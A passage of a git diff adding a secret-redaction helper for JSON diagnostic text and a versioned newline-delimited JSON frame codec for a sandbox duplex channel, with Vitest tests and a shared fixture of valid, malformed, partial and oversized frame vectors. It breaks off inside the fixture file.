+    expect(output).not.toContain("MARKERQUOTE_B");
+    expect(output).toContain(REDACTED_COMMAND_TEXT_VALUE);
+  });
+
+  it("redacts an escaped-JSON secret value that contains an escaped backslash", () => {
+    const innerJson = '{"password":"pre\\\\MARKERBACKSLASH_B"}';
+    const input = JSON.stringify(innerJson);
+    const output = redactDiagnosticText(input);
+    expect(output).not.toContain("MARKERBACKSLASH_B");
+    expect(output).toContain(REDACTED_COMMAND_TEXT_VALUE);
+  });
+});
diff --git a/packages/adapter-utils/src/command-redaction.ts b/packages/adapter-utils/src/command-redaction.ts
index 86024755aa6..3ee2756edd4 100644
--- a/packages/adapter-utils/src/command-redaction.ts
+++ b/packages/adapter-utils/src/command-redaction.ts
@@ -56,3 +56,37 @@ export function redactCommandText(command: string, redactedValue = REDACTED_COMM
     .replace(COMMAND_GITHUB_TOKEN_RE, redactedValue)
     .replace(COMMAND_JWT_RE, redactedValue);
 }
+
+// A JSON secret field is a key/value pair such as `"token":"opaque-value"`. The
+// command redaction handles shell `KEY=value` syntax only. A sandbox diagnostic
+// can also carry a serialized JSON error, so the sanitizer must redact the JSON
+// form too. The value body consumes JSON escape sequences. An escaped quote
+// (`\"`) inside the value does not end the match early.
+const JSON_SECRET_FIELD_RE = new RegExp(
+  String.raw`("(?:${SECRET_NAME_PATTERN})"\s*:\s*")(?:\\[\s\S]|[^"\\])*(")`,
+  "gi",
+);
+// An escaped JSON secret field is the same pair inside a JSON string. The double
+// quote appears as `\"` and a backslash appears as `\\`. The value body
+// consumes the doubled escape sequences. An escaped quote inside the value does
+// not end the match early. The value ends at the next unescaped `\"`.
+const JSON_ESCAPED_SECRET_FIELD_RE = new RegExp(
+  String.raw`(\\"(?:${SECRET_NAME_PATTERN})\\"\s*:\s*\\")(?:\\\\\\\\|\\\\\\"|\\\\[\s\S]|[^\\"])*(\\")`,
+  "gi",
+);
+
+/**
+ * Redact secrets from an untrusted diagnostic string.
+ *
+ * The function first runs the command redaction. The command redaction handles
+ * shell `KEY=value` assignments, CLI secret options, bearer headers, and common
+ * token shapes. The function then redacts JSON and escaped-JSON secret fields,
+ * because a sandbox diagnostic can carry a serialized JSON error such as
+ * `{"token":"opaque-value"}`. The caller must still bound the length after this
+ * step.
+ */
+export function redactDiagnosticText(text: string, redactedValue = REDACTED_COMMAND_TEXT_VALUE): string {
+  return redactCommandText(text, redactedValue)
+    .replace(JSON_ESCAPED_SECRET_FIELD_RE, `$1${redactedValue}$2`)
+    .replace(JSON_SECRET_FIELD_RE, `$1${redactedValue}$2`);
+}
diff --git a/packages/adapter-utils/src/duplex-frame-codec.test.ts b/packages/adapter-utils/src/duplex-frame-codec.test.ts
new file mode 100644
index 00000000000..539d4898ec5
--- /dev/null
+++ b/packages/adapter-utils/src/duplex-frame-codec.test.ts
@@ -0,0 +1,201 @@
+import { readFileSync } from "node:fs";
+import { fileURLToPath } from "node:url";
+import { describe, expect, it } from "vitest";
+import {
+  DEFAULT_MAX_DUPLEX_FRAME_BYTES,
+  DUPLEX_FRAME_VERSION,
+  DuplexFrameDecoder,
+  decodeDuplexLine,
+  encodeDuplexFrame,
+  type DuplexDecodeResult,
+  type DuplexFrame,
+} from "./duplex-frame-codec.js";
+
+// One expected decode result in the fixture: either a decoded frame or the code
+// of a protocol error. The codec must never throw on the read path.
+type ExpectedResult = { frame: DuplexFrame } | { error: string };
+
+interface Vector {
+  name: string;
+  category: "valid" | "invalid" | "partial" | "oversized" | "versionMismatch";
+  bytes: string;
+  splitByteOffsets?: number[];
+  maxFrameBytes?: number;
+  roundTrip?: boolean;
+  expected: ExpectedResult[];
+}
+
+interface Fixture {
+  frameVersion: number;
+  defaultMaxFrameBytes: number;
+  vectors: Vector[];
+}
+
+const fixturePath = fileURLToPath(
+  new URL("./duplex-frame-vectors.json", import.meta.url),
+);
+const fixture = JSON.parse(readFileSync(fixturePath, "utf8")) as Fixture;
+
+// Cut one UTF-8 byte stream into chunks at the byte offsets. The decoder must
+// keep partial bytes between chunks, so the split can fall inside a multi-byte
+// character.
+function toChunks(bytes: string, offsets: number[] | undefined): Buffer[] {
+  const buffer = Buffer.from(bytes, "utf8");
+  if (!offsets || offsets.length === 0) return [buffer];
+  const bounds = [0, ...offsets, buffer.length];
+  const chunks: Buffer[] = [];
+  for (let i = 0; i < bounds.length - 1; i += 1) {
+    chunks.push(buffer.subarray(bounds[i], bounds[i + 1]));
+  }
+  return chunks;
+}
+
+function pushAll(decoder: DuplexFrameDecoder, chunks: Buffer[]): DuplexDecodeResult[] {
+  const results: DuplexDecodeResult[] = [];
+  for (const chunk of chunks) results.push(...decoder.push(chunk));
+  return results;
+}
+
+function assertMatches(results: DuplexDecodeResult[], expected: ExpectedResult[]): void {
+  expect(results).toHaveLength(expected.length);
+  results.forEach((result, index) => {
+    const want = expected[index];
+    if ("frame" in want) {
+      expect(result.ok).toBe(true);
+      if (result.ok) expect(result.frame).toEqual(want.frame);
+    } else {
+      expect(result.ok).toBe(false);
+      if (!result.ok) expect(result.error.code).toBe(want.error);
+    }
+  });
+}
+
+describe("duplex frame codec fixture", () => {
+  it("the fixture version matches the codec version", () => {
+    expect(fixture.frameVersion).toBe(DUPLEX_FRAME_VERSION);
+    expect(fixture.defaultMaxFrameBytes).toBe(DEFAULT_MAX_DUPLEX_FRAME_BYTES);
+  });
+
+  it("every category has at least one vector", () => {
+    const categories = new Set(fixture.vectors.map((vector) => vector.category));
+    for (const category of ["valid", "invalid", "partial", "oversized", "versionMismatch"]) {
+      expect(categories).toContain(category);
+    }
+  });
+
+  for (const vector of fixture.vectors) {
+    it(`decodes the ${vector.name} vector`, () => {
+      const decoder = new DuplexFrameDecoder(
+        vector.maxFrameBytes ? { maxFrameBytes: vector.maxFrameBytes } : undefined,
+      );
+      const chunks = toChunks(vector.bytes, vector.splitByteOffsets);
+      const results = pushAll(decoder, chunks);
+      assertMatches(results, vector.expected);
+    });
+  }
+});
+
+describe("round-trip", () => {
+  const validVectors = fixture.vectors.filter((vector) => vector.roundTrip);
+
+  it("has round-trip vectors for every frame type", () => {
+    const types = new Set(
+      validVectors.flatMap((vector) =>
+        vector.expected.flatMap((result) =>
+          "frame" in result ? [result.frame.type] : [],
+        ),
+      ),
+    );
+    for (const type of ["request", "response", "ready", "heartbeat", "close", "error"]) {
+      expect(types).toContain(type);
+    }
+  });
+
+  for (const vector of validVectors) {
+    it(`re-encodes the ${vector.name} frame to the same value`, () => {
+      const want = vector.expected[0];
+      expect("frame" in want).toBe(true);
+      if (!("frame" in want)) return;
+      const encoded = encodeDuplexFrame(want.frame);
+      // Encode writes exactly one line: it ends with one newline and holds no
+      // interior newline, so one frame stays on one line.
+      expect(encoded.endsWith("\n")).toBe(true);
+      expect(encoded.slice(0, -1)).not.toContain("\n");
+      const decoded = decodeDuplexLine(encoded.slice(0, -1));
+      expect(decoded.ok).toBe(true);
+      if (decoded.ok) expect(decoded.frame).toEqual(want.frame);
+    });
+  }
+});
+
+describe("streaming decoder behavior", () => {
+  it("emits nothing until a full line arrives, then the complete frame", () => {
+    const decoder = new DuplexFrameDecoder();
+    const line = encodeDuplexFrame({ version: DUPLEX_FRAME_VERSION, type: "heartbeat" });
+    const bytes = Buffer.from(line, "utf8");
+    const first = decoder.push(bytes.subarray(0, 3));
+    expect(first).toHaveLength(0);
+    const second = decoder.push(bytes.subarray(3));
+    expect(second).toHaveLength(1);
+    expect(second[0].ok).toBe(true);
+  });
+
+  it("keeps a multi-byte UTF-8 sequence valid across a chunk boundary", () => {
+    const decoder = new DuplexFrameDecoder();
+    const frame: DuplexFrame = {
+      version: DUPLEX_FRAME_VERSION,
+      type: "request",
+      id: "req-emoji",
+      method: "POST",
+      path: "/x",
+      query: "",
+      headers: {},
+      body: "😀",
+    };
+    const bytes = Buffer.from(encodeDuplexFrame(frame), "utf8");
+    // Split inside the four-byte emoji, right before a continuation byte.
+    let cut = -1;
+    for (let i = 1; i < bytes.length; i += 1) {
+      if ((bytes[i] & 0xc0) === 0x80) {
+        cut = i;
+        break;
+      }
+    }
+    expect(cut).toBeGreaterThan(0);
+    const results = [
+      ...decoder.push(bytes.subarray(0, cut)),
+      ...decoder.push(bytes.subarray(cut)),
+    ];
+    expect(results).toHaveLength(1);
+    expect(results[0].ok).toBe(true);
+    if (results[0].ok) expect(results[0].frame).toEqual(frame);
+  });
+
+  it("rejects an oversized frame with a protocol error, then resynchronizes", () => {
+    const decoder = new DuplexFrameDecoder({ maxFrameBytes: 32 });
+    const flood = `${"z".repeat(100)}\n`;
+    const good = encodeDuplexFrame({ version: DUPLEX_FRAME_VERSION, type: "heartbeat" });
+    const results = decoder.push(Buffer.from(flood + good, "utf8"));
+    expect(results).toHaveLength(2);
+    expect(results[0].ok).toBe(false);
+    if (!results[0].ok) expect(results[0].error.code).toBe("frame_too_large");
+    expect(results[1].ok).toBe(true);
+  });
+
+  it("rejects a version-mismatch frame with a protocol error", () => {
+    const decoder = new DuplexFrameDecoder();
+    const results = decoder.push(
+      Buffer.from(`${JSON.stringify({ version: 999, type: "heartbeat" })}\n`, "utf8"),
+    );
+    expect(results).toHaveLength(1);
+    expect(results[0].ok).toBe(false);
+    if (!results[0].ok) expect(results[0].error.code).toBe("version_mismatch");
+  });
+
+  it("never throws on a malformed read; it returns a protocol error", () => {
+    const decoder = new DuplexFrameDecoder();
+    expect(() => decoder.push(Buffer.from("this is not json\n", "utf8"))).not.toThrow();
+    const results = decoder.push(Buffer.from("still not json\n", "utf8"));
+    expect(results[0].ok).toBe(false);
+  });
+});
diff --git a/packages/adapter-utils/src/duplex-frame-codec.ts b/packages/adapter-utils/src/duplex-frame-codec.ts
new file mode 100644
index 00000000000..2cc4d57c988
--- /dev/null
+++ b/packages/adapter-utils/src/duplex-frame-codec.ts
@@ -0,0 +1,338 @@
+/**
+ * Versioned frame codec for the sandbox duplex channel.
+ *
+ * The channel carries newline-delimited JSON frames. One frame is one line. The
+ * host and the generated gateway each hold a copy of this codec. A shared
+ * fixture file (`duplex-frame-vectors.json`) proves the two copies stay wire
+ * compatible: both copies decode the same bytes to the same frames.
+ *
+ * The codec has two sides:
+ *   - encode: turn a frame object into one line of JSON with a trailing newline.
+ *   - decode: turn a byte stream into frames. The streaming decoder keeps partial
+ *     bytes between chunks, so a frame split across chunks and a multi-byte UTF-8
+ *     sequence split across chunks both decode correctly.
+ *
+ * The decoder never throws on the read path. A malformed, oversized, or
+ * version-mismatch frame becomes a protocol-error result, not an exception. This
+ * keeps one bad frame from crashing the read loop.
+ */
+
+/** The wire version this codec reads and writes. */
+export const DUPLEX_FRAME_VERSION = 1;
+
+/**
+ * The default maximum size of one frame, in bytes. The decoder rejects a longer
+ * frame with a `frame_too_large` protocol error. The value matches the per-chunk
+ * character bound of the host duplex route.
+ */
+export const DEFAULT_MAX_DUPLEX_FRAME_BYTES = 1_000_000;
+
+const NEWLINE_BYTE = 0x0a;
+const EMPTY = Buffer.alloc(0);
+
+/** The frame type strings. One value goes in the `type` field of every frame. */
+export const DUPLEX_FRAME_TYPES = {
+  request: "request",
+  response: "response",
+  ready: "ready",
+  heartbeat: "heartbeat",
+  close: "close",
+  error: "error",
+} as const;
+
+/** The outcome of a response frame. A loss response carries a non-completed outcome. */
+export type DuplexResponseOutcome = "completed" | "indeterminate" | "unavailable";
+
+/** A request frame. The gateway forwards it to the host API path. */
+export interface DuplexRequestFrame {
+  version: number;
+  type: "request";
+  id: string;
+  method: string;
+  path: string;
+  query: string;
+  headers: Record<string, string>;
+  body: string;
+}
+
+/** A response frame. The host returns it for one request id. */
+export interface DuplexResponseFrame {
+  version: number;
+  type: "response";
+  id: string;
+  status: number;
+  headers: Record<string, string>;
+  body: string;
+  outcome: DuplexResponseOutcome;
+}
+
+/**
+ * The READY control frame. The gateway sends it one time after it validates its
+ * local listener address. The `address` field carries that validated address.
+ */
+export interface DuplexReadyFrame {
+  version: number;
+  type: "ready";
+  address: string;
+}
+
+/** The heartbeat control frame. Each side sends it on an interval to prove liveness. */
+export interface DuplexHeartbeatFrame {
+  version: number;
+  type: "heartbeat";
+}
+
+/** The orderly close control frame. A side sends it to end the channel cleanly. */
+export interface DuplexCloseFrame {
+  version: number;
+  type: "close";
+}
+
+/**
+ * The protocol-error control frame. A peer sends it to report a bad frame. This
+ * frame is distinct from a decode-time protocol error: the decoder produces a
+ * {@link DuplexProtocolError} result, while a peer sends this frame on the wire.
+ */
+export interface DuplexErrorFrame {
+  version: number;
+  type: "error";
+  code: string;
+  message?: string;
+}
+
+/** Any frame the codec reads or writes. */
+export type DuplexFrame =
+  | DuplexRequestFrame
+  | DuplexResponseFrame
+  | DuplexReadyFrame
+  | DuplexHeartbeatFrame
+  | DuplexCloseFrame
+  | DuplexErrorFrame;
+
+/** The reason the decoder rejected one line. */
+export type DuplexProtocolErrorCode =
+  | "malformed_frame"
+  | "unknown_type"
+  | "version_mismatch"
+  | "frame_too_large";
+
+/** A decode-time protocol error. The read path returns it; it never throws. */
+export interface DuplexProtocolError {
+  code: DuplexProtocolErrorCode;
+  message: string;
+}
+
+/** One decode result: a valid frame, or a protocol error. */
+export type DuplexDecodeResult =
+  | { ok: true; frame: DuplexFrame }
+  | { ok: false; error: DuplexProtocolError };
+
+const RESPONSE_OUTCOMES: ReadonlySet<string> = new Set<DuplexResponseOutcome>([
+  "completed",
+  "indeterminate",
+  "unavailable",
+]);
+
+function ok(frame: DuplexFrame): DuplexDecodeResult {
+  return { ok: true, frame };
+}
+
+function fail(code: DuplexProtocolErrorCode, message: string): DuplexDecodeResult {
+  return { ok: false, error: { code, message } };
+}
+
+function isPlainObject(value: unknown): value is Record<string, unknown> {
+  return typeof value === "object" && value !== null && !Array.isArray(value);
+}
+
+function isStringRecord(value: unknown): value is Record<string, string> {
+  if (!isPlainObject(value)) return false;
+  for (const entry of Object.values(value)) {
+    if (typeof entry !== "string") return false;
+  }
+  return true;
+}
+
+/**
+ * Encode one frame to a single line of JSON with a trailing newline. `JSON.stringify`
+ * escapes any newline inside a string value, so the returned line holds no
+ * interior newline. This keeps one frame on one line.
+ */
+export function encodeDuplexFrame(frame: DuplexFrame): string {
+  return `${JSON.stringify(frame)}\n`;
+}
+
+/**
+ * Decode one line (no trailing newline) to a frame or a protocol error. The
+ * streaming decoder calls this for each complete line. It is exported so a
+ * caller with its own line splitter can reuse the same validation.
+ *
+ * The check order matters. A parseable frame with the wrong version becomes a
+ * `version_mismatch`, so the version check runs before the type check.
+ */
+export function decodeDuplexLine(line: string | Buffer): DuplexDecodeResult {
+  const text = typeof line === "string" ? line : line.toString("utf8");
+  let parsed: unknown;
+  try {
+    parsed = JSON.parse(text);
+  } catch {
+    return fail("malformed_frame", "frame is not valid JSON");
+  }
+  if (!isPlainObject(parsed)) {
+    return fail("malformed_frame", "frame is not a JSON object");
+  }
+  if (parsed.version !== DUPLEX_FRAME_VERSION) {
+    return fail(
+      "version_mismatch",
+      `frame version ${String(parsed.version)} is not ${DUPLEX_FRAME_VERSION}`,
+    );
+  }
+  return validateFrame(parsed);
+}
+
+function validateFrame(frame: Record<string, unknown>): DuplexDecodeResult {
+  switch (frame.type) {
+    case "request":
+      return validateRequest(frame);
+    case "response":
+      return validateResponse(frame);
+    case "ready":
+      return validateReady(frame);
+    case "heartbeat":
+      return validateHeartbeat(frame);
+    case "close":
+      return validateClose(frame);
+    case "error":
+      return validateError(frame);
+    default:
+      return fail("unknown_type", `unknown frame type ${JSON.stringify(frame.type)}`);
+  }
+}
+
+function validateRequest(frame: Record<string, unknown>): DuplexDecodeResult {
+  if (
+    typeof frame.id !== "string" ||
+    typeof frame.method !== "string" ||
+    typeof frame.path !== "string" ||
+    typeof frame.query !== "string" ||
+    typeof frame.body !== "string" ||
+    !isStringRecord(frame.headers)
+  ) {
+    return fail("malformed_frame", "request frame has a missing or wrong-typed field");
+  }
+  return ok(frame as unknown as DuplexRequestFrame);
+}
+
+function validateResponse(frame: Record<string, unknown>): DuplexDecodeResult {
+  if (
+    typeof frame.id !== "string" ||
+    typeof frame.status !== "number" ||
+    typeof frame.body !== "string" ||
+    !isStringRecord(frame.headers) ||
+    typeof frame.outcome !== "string" ||
+    !RESPONSE_OUTCOMES.has(frame.outcome)
+  ) {
+    return fail("malformed_frame", "response frame has a missing or wrong-typed field");
+  }
+  return ok(frame as unknown as DuplexResponseFrame);
+}
+
+function validateReady(frame: Record<string, unknown>): DuplexDecodeResult {
+  if (typeof frame.address !== "string") {
+    return fail("malformed_frame", "ready frame has a missing or wrong-typed address");
+  }
+  return ok(frame as unknown as DuplexReadyFrame);
+}
+
+function validateHeartbeat(frame: Record<string, unknown>): DuplexDecodeResult {
+  return ok(frame as unknown as DuplexHeartbeatFrame);
+}
+
+function validateClose(frame: Record<string, unknown>): DuplexDecodeResult {
+  return ok(frame as unknown as DuplexCloseFrame);
+}
+
+function validateError(frame: Record<string, unknown>): DuplexDecodeResult {
+  if (typeof frame.code !== "string") {
+    return fail("malformed_frame", "error frame has a missing or wrong-typed code");
+  }
+  if (frame.message !== undefined && typeof frame.message !== "string") {
+    return fail("malformed_frame", "error frame has a wrong-typed message");
+  }
+  return ok(frame as unknown as DuplexErrorFrame);
+}
+
+/** Options for a {@link DuplexFrameDecoder}. */
+export interface DuplexFrameDecoderOptions {
+  /** The maximum size of one frame, in bytes. Defaults to {@link DEFAULT_MAX_DUPLEX_FRAME_BYTES}. */
+  maxFrameBytes?: number;
+}
+
+/**
+ * A streaming decoder for a byte stream of newline-delimited JSON frames.
+ *
+ * Call `push` with each chunk. The decoder keeps the bytes of an incomplete
+ * frame between calls, so a frame that spans two chunks decodes on the chunk
+ * that completes it. The decoder buffers raw bytes and decodes UTF-8 only on a
+ * complete line, so a multi-byte sequence split across chunks stays valid. The
+ * newline byte `0x0A` never appears inside a multi-byte UTF-8 sequence, so a
+ * split on that byte is always safe.
+ *
+ * The decoder enforces the maximum frame size. It rejects an oversized frame
+ * with a `frame_too_large` protocol error, then discards bytes up to the next
+ * newline to resynchronize. It never throws on the read path.
+ */
+export class DuplexFrameDecoder {
+  private buffer: Buffer = EMPTY;
+  private discarding = false;
+  private readonly maxFrameBytes: number;
+
+  constructor(options: DuplexFrameDecoderOptions = {}) {
+    this.maxFrameBytes = options.maxFrameBytes ?? DEFAULT_MAX_DUPLEX_FRAME_BYTES;
+  }
+
+  /** Feed one chunk. Return the frames and protocol errors that complete on it. */
+  push(chunk: Buffer | Uint8Array | string): DuplexDecodeResult[] {
+    const incoming =
+      typeof chunk === "string" ? Buffer.from(chunk, "utf8") : Buffer.from(chunk);
+    this.buffer =
+      this.buffer.length === 0 ? incoming : Buffer.concat([this.buffer, incoming]);
+
+    const results: DuplexDecodeResult[] = [];
+    for (;;) {
+      if (this.discarding) {
+        // Drop the tail of an oversized frame until the next newline.
+        const newlineIndex = this.buffer.indexOf(NEWLINE_BYTE);
+        if (newlineIndex === -1) {
+          this.buffer = EMPTY;
+          break;
+        }
+        this.buffer = this.buffer.subarray(newlineIndex + 1);
+        this.discarding = false;
+        continue;
+      }
+
+      const newlineIndex = this.buffer.indexOf(NEWLINE_BYTE);
+      if (newlineIndex === -1) {
+        // No complete line yet. Reject an incomplete frame that already passed
+        // the size bound, then resynchronize at the next newline.
+        if (this.buffer.length > this.maxFrameBytes) {
+          results.push(fail("frame_too_large", "frame exceeds the maximum size"));
+          this.discarding = true;
+          this.buffer = EMPTY;
+        }
+        break;
+      }
+
+      const line = this.buffer.subarray(0, newlineIndex);
+      this.buffer = this.buffer.subarray(newlineIndex + 1);
+      if (line.length === 0) continue; // Skip a blank line.
+      if (line.length > this.maxFrameBytes) {
+        results.push(fail("frame_too_large", "frame exceeds the maximum size"));
+        continue;
+      }
+      results.push(decodeDuplexLine(line));
+    }
+    return results;
+  }
+}
diff --git a/packages/adapter-utils/src/duplex-frame-vectors.json b/packages/adapter-utils/src/duplex-frame-vectors.json
new file mode 100644
index 00000000000..e1e07fa0c1c
--- /dev/null
+++ b/packages/adapter-utils/src/duplex-frame-vectors.json
@@ -0,0 +1,358 @@
+{
+  "frameVersion": 1,
+  "defaultMaxFrameBytes": 1000000,
+  "description": "Shared wire-compatibility vectors for the duplex frame codec. Every codec copy decodes the same bytes. bytes is a UTF-8 byte stream; splitByteOffsets cuts it into chunks; expected lists the ordered decode results (frame or protocol-error code).",
+  "vectors": [
+    {
+      "name": "valid-request",
+      "category": "valid",
+      "bytes": "{\"version\":1,\"type\":\"request\",\"id\":\"req-1\",\"method\":\"GET\",\"path\":\"/api/issues/PAP-1\",\"query\":\"expand=comments\",\"headers\":{\"accept\":\"application/json\",\"content-type\":\"application/json\"},\"body\":\"\"}\n",
+      "roundTrip": true,
+      "expected": [
+        {
+          "frame": {
+            "version": 1,
+            "type": "request",
+            "id": "req-1",
+            "method": "GET",
+            "path": "/api/issues/PAP-1",
+            "query": "expand=comments",
+            "headers": {
+              "accept": "application/json",
+              "content-type": "application/json"
+            },
+            "body": ""
+          }
+        }
+      ]
+    },
+    {
+      "name": "valid-response-completed",
+      "category": "valid",
+      "bytes": "{\"version\":1,\"type\":\"response\",\"id\":\"req-1\",\"status\":200,\"headers\":{\"content-type\":\"application/json\"},\"body\":\"{\\\"ok\\\":true}\",\"outcome\":\"completed\"}\n",
+      "roundTrip": true,
+      "expected": [
+        {
+          "frame": {
+            "version": 1,
+            "type": "response",
+            "id": "req-1",
+            "status": 200,
+            "headers": {
+              "content-type": "application/json"
+            },
+            "body": "{\"ok\":true}",
+            "outcome": "completed"
+          }
+        }
+      ]
+    },
+    {
+      "name": "valid-response-indeterminate",
+      "category": "valid",
+      "bytes": "{\"version\":1,\"type\":\"response\",\"id\":\"req-2\",\"status\":409,\"headers\":{\"content-type\":\"application/json\"},\"body\":\"{\\\"error\\\":\\\"outcome_indeterminate\\\"}\",\"outcome\":\"indeterminate\"}\n",
+      "roundTrip": true,
+      "expected": [
+        {
+          "frame": {
+            "version": 1,
+            "type": "response",
+            "id": "req-2",
+            "status": 409,
+            "headers": {
+              "content-type": "application/json"
+            },
+            "body": "{\"error\":\"outcome_indeterminate\"}",
+            "outcome": "indeterminate"
+          }
+        }
+      ]
+    },
+    {
+      "name": "valid-response-unavailable",
+      "category": "valid",
+      "bytes": "{\"version\":1,\"type\":\"response\",\"id\":\"req-3\",\"status\":503,\"headers\":{\"content-type\":\"application/json\"},\"body\":\"{\\\"error\\\":\\\"bridge_unavailable\\\"}\",\"outcome\":\"unavailable\"}\n",
+      "roundTrip": true,
+      "expected": [
+        {
+          "frame": {
+            "version": 1,
+            "type": "response",
+            "id": "req-3",
+            "status": 503,
+            "headers": {
+              "content-type": "application/json"
+            },
+            "body": "{\"error\":\"bridge_unavailable\"}",
+            "outcome": "unavailable"
+          }
+        }
+      ]
+    },
+    {
+      "name": "valid-ready",
+      "category": "valid",
+      "bytes": "{\"version\":1,\"type\":\"ready\",\"address\":\"127.0.0.1:47215\"}\n",
+      "roundTrip": true,
+      "expected": [
+        {
+          "frame": {
+            "version": 1,
+            "type": "ready",
+            "address": "127.0.0.1:47215"
+          }
+        }
+      ]
+    },
+    {
+      "name": "valid-heartbeat",
+      "category": "valid",
+      "bytes": "{\"version\":1,\"type\":\"heartbeat\"}\n",
+      "roundTrip": true,
+      "expected": [
+        {
+          "frame": {
+            "version": 1,
+            "type": "heartbeat"
+          }
+        }
+      ]
+    },
+    {
+      "name": "valid-close",
+      "category": "valid",
+      "bytes": "{\"version\":1,\"type\":\"close\"}\n",
+      "roundTrip": true,
+      "expected": [
+        {
+          "frame": {
+            "version": 1,
+            "type": "close"
+          }
+        }
+      ]
+    },
+    {
+      "name": "valid-error",
+      "category": "valid",
+      "bytes": "{\"version\":1,\"type\":\"error\",\"code\":\"malformed_frame\",\"message\":\"peer reported a malformed frame\"}\n",
+      "roundTrip": true,
+      "expected": [
+        {
+          "frame": {
+            "version": 1,
+            "type": "error",
+            "code": "malformed_frame",
+            "message": "peer reported a malformed frame"
+          }
+        }
+      ]
+    },
+    {
+      "name": "invalid-not-json",
+      "category": "invalid",
+      "bytes": "{not valid json\n",
+      "expected": [
+        {
+          "error": "malformed_frame"
+        }
+      ]
+    },
+    {
+      "name": "invalid-json-array",
+      "category": "invalid",
+      "bytes": "[1,2,3]\n",
+      "expected": [
+        {
+          "error": "malformed_frame"
+        }
+      ]
+    },
+    {
+      "name": "invalid-json-number",
+      "category": "invalid",
+      "bytes": "42\n",
+      "expected": [
+        {
+          "error": "malformed_frame"
+        }
+      ]
+    },
+    {
+      "name": "invalid-unknown-type",
+      "category": "invalid",
+      "bytes": "{\"version\":1,\"type\":\"teleport\"}\n",
+      "expected": [
+        {
+          "error": "unknown_type"
+        }
+      ]
+    },
+    {
+      "name": "invalid-missing-id",
+      "category": "invalid",
+      "bytes": "{\"version\":1,\"type\":\"request\",\"method\":\"GET\",\"path\":\"/\",\"query\":\"\",\"headers\":{},\"body\":\"\"}\n",
+      "expected": [
+        {
+          "error": "malformed_frame"
+        }
+      ]
+    },
+    {
+      "name": "invalid-bad-headers",
+      "category": "invalid",
+      "bytes": "{\"version\":1,\"type\":\"response\",\"id\":\"req-1\",\"status\":200,\"headers\":{\"accept\":7},\"body\":\"{\\\"ok\\\":true}\",\"outcome\":\"completed\"}\n",
+      "expected": [
+        {
+          "error": "malformed_frame"
+        }
+      ]
+    },
+    {
+      "name": "partial-request-split",
+      "category": "partial",
+      "bytes": "{\"version\":1,\"type\":\"request\",\"id\":\"req-1\",\"method\":\"GET\",\"path\":\"/api/issues/PAP-1\",\"query\":\"expand=comments\",\"headers\":{\"accept\":\"application/json\",\"content-type\":\"application/json\"},\"body\":\"\"}\n",
+      "splitByteOffsets": [
+        98
+      ],
+      "expected": [
+        {
+          "frame": {
+            "version": 1,
+            "type": "request",
+            "id": "req-1",
+            "method": "GET",
+            "path": "/api/issues/PAP-1",
+            "query": "expand=comments",
+            "headers": {
+              "accept": "application/json",
+              "content-type": "application/json"
+            },
+            "body": ""
+          }
+        }
+      ]
+    },
+    {
+      "name": "partial-utf8-split",
+      "category": "partial",
+      "bytes": "{\"version\":1,\"type\":\"request\",\"id\":\"req-utf8\",\"method\":\"POST\",\"path\":\"/api/issues/PAP-1/comments\",\"query\":\"\",\"headers\":{\"content-type\":\"application/json\"},\"body\":\"{\\\"text\\\":\\\"héllo 😀 wörld\\\"}\"}\n",
+      "splitByteOffsets": [
+        177
+      ],
+      "expected": [
+        {
+          "frame": {
+            "version": 1,
+            "type": "request",
+            "id": "req-utf8",
+            "method": "POST",
+            "path": "/api/issues/PAP-1/comments",
+            "query": "",
+            "headers": {
+              "content-type": "application/json"
+            },
+            "body": "{\"text\":\"héllo 😀 wörld\"}"
+          }
+        }
+      ]
+    },
+    {
+      "name": "partial-two-frames",
+      "category": "partial",
+      "bytes": "{\"version\":1,\"type\":\"request\",\"id\":\"req-1\",\"method\":\"GET\",\"path\":\"/api/issues/PAP-1\",\"query\":\"expand=comments\",\"headers\":{\"accept\":\"application/json\",\"content-type\":\"application/json\"},\"body\":\"\"}\n{\"version\":1,\"type\":\"response\",\"id\":\"req-1\",\"status\":200,\"headers\":{\"content-type\":\"application/json\"},\"body\":\"{\\\"ok\\\":true}\",\"outcome\":\"completed\"}\n",
+      "splitByteOffsets": [
+        7,
+        199,
+        343
+      ],
+      "expected": [
+        {
+          "frame": {
+            "version": 1,
+            "type": "request",
+            "id": "req-1",
+            "method": "GET",
+            "path": "/api/issues/PAP-1",
+            "query": "expand=comments",
+            "headers": {
+              "accept": "application/json",
+              "content-type": "application/json"
+            },
+            "body": ""
+          }
+        },
+        {
+          "frame": {
+            "version": 1,
+            "type": "response",
+            "id": "req-1",
+            "status": 200,
+            "headers": {
+              "content-type": "application/json"
+            },
+            "body": "{\"ok\":true}",
+            "outcome": "completed"
+          }
+        }
+      ]
+    },
+    {
+      "name": "partial-no-trailing-newline",
+      "category": "partial",
+      "bytes": "{\"version\":1,\"type\":\"heartbeat\"}",
+      "expected": []
+    },
+    {
+      "name": "oversized-complete-line",
+      "category": "oversized",
+      "maxFrameBytes": 64,
+      "bytes": "{\"version\":1,\"type\":\"request\",\"id\":\"req-1\",\"method\":\"GET\",\"path\":\"/api/issues/PAP-1\",\"query\":\"expand=comments\",\"headers\":{\"accept\":\"application/json\",\"content-type\":\"application/json\"},\"body\":\"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"}\n",
+      "expected": [
+        {
+          "error": "frame_too_large"
+        }
+      ]
+    },
+    {
+      "name": "oversized-flood-then-resync",
+      "category": "oversized",
+      "maxFrameBytes": 64,
+      "splitByteOffsets": [
+        40
+      ],
+      "bytes": "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy\n{\"version\":1,\"type\":\"heartbeat\"}\n",
+      "expected": [
+        {
+          "error": "frame_too_large"
+        },
+        {
+          "frame": {
+            "version": 1,
+            "type": "heartbeat"
+          }
+        }
+      ]
+    },
+    {
+      "name": "version-mismatch-higher",
+      "category": "versionMismatch",
